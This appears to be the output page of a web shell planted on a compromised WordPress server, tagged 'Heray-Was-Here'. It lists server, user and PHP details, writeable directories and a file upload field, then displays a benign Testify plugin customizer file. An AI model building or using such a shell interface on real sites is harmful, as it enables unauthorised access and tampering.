Heray-Was-Here
Server : Apache
System : Linux ip-172-26-6-158 5.10.0-35-cloud-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
Directory :  /bitnami/wordpress/wp-content/plugins/testify/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /bitnami/wordpress/wp-content/plugins/testify/includes/customizer.php
<?php
/**
 * This file includes code based on and/or copied from WordPress
 * See license.txt for copyright and licensing details
 *
 * This file modified by Jonathan Hall, Dominika Rauk and/or others; last modified 2020-08-28
 *
 */

if (!defined('ABSPATH')) die();

include_once(dirname(__FILE__) . '/alpha-color-picker/alpha-color-picker.php');
include_once(dirname(__FILE__) . '/testify_qmark_customize_control.php');
include_once(dirname(__FILE__) . '/testify_icon_customize_control.php');

$wp_customize->add_panel( 'testify_panel', array(
	'priority'       => 1,
	'capability'     => 'edit_theme_options',
	'title'          => __('Testify', 'testify-testify'),
) );

foreach (testify_get_options() as $sectionId => $section) {
	$sectionId = 'testify_'.$sectionId.'_section';
	$wp_customize->add_section( $sectionId , array(
		'title'  => $section['name'],
		'panel'  => 'testify_panel',
		/*'description' => __('', 'testify'),*/
	) );
	
	foreach ($section['settings'] as $settingId => $setting) {
		$settingId = 'testify_'.$settingId;
		$sanitizeCb = 'testify_sanitize_text';
		$control = 'WP_Customize_Control';
		$controlArgs = array(
			'label' => $setting['name'],
			'section' => $sectionId,
			'type' => $setting['type'],
			'description' => (isset($setting['desc']) ? $setting['desc'] : '')
		);
		switch ($setting['type']) {
			case 'select':
				$controlArgs['choices'] = $setting['options'];
				break;
			case 'integer':
				$sanitizeCb = 'testify_sanitize_integer';
				$controlArgs['type'] = 'text';
				break;
			case 'decimal':
				$sanitizeCb = 'testify_sanitize_decimal';
				$controlArgs['type'] = 'text';
				break;
			case 'checkbox':
				$sanitizeCb = 'testify_sanitize_boolean';
				break;
			case 'color':
				$control = 'Testify_Customize_Alpha_Color_Control';
				unset($controlArgs['type']);
				break;
			case 'range':
				$controlArgs['type'] = 'range';
				break;
			case 'font':
				$controlArgs['type'] = 'text';
				break;
			case 'qmark':
				$control = 'Testify_Qmark_Customize_Control';
				$sanitizeCb = 'testify_sanitize_integer';
				break;
			case 'icon':
				$control = 'Testify_Icon_Customize_Control';
				break;
		}
		
		$wp_customize->add_setting( $settingId, array (
			'sanitize_callback' => (isset($setting['sanitize_cb']) ? $setting['sanitize_cb'] : $sanitizeCb),
			'default' => $setting['default']
		) );
		$wp_customize->add_control( new $control( $wp_customize, $settingId, $controlArgs ) );
	}
}

Hry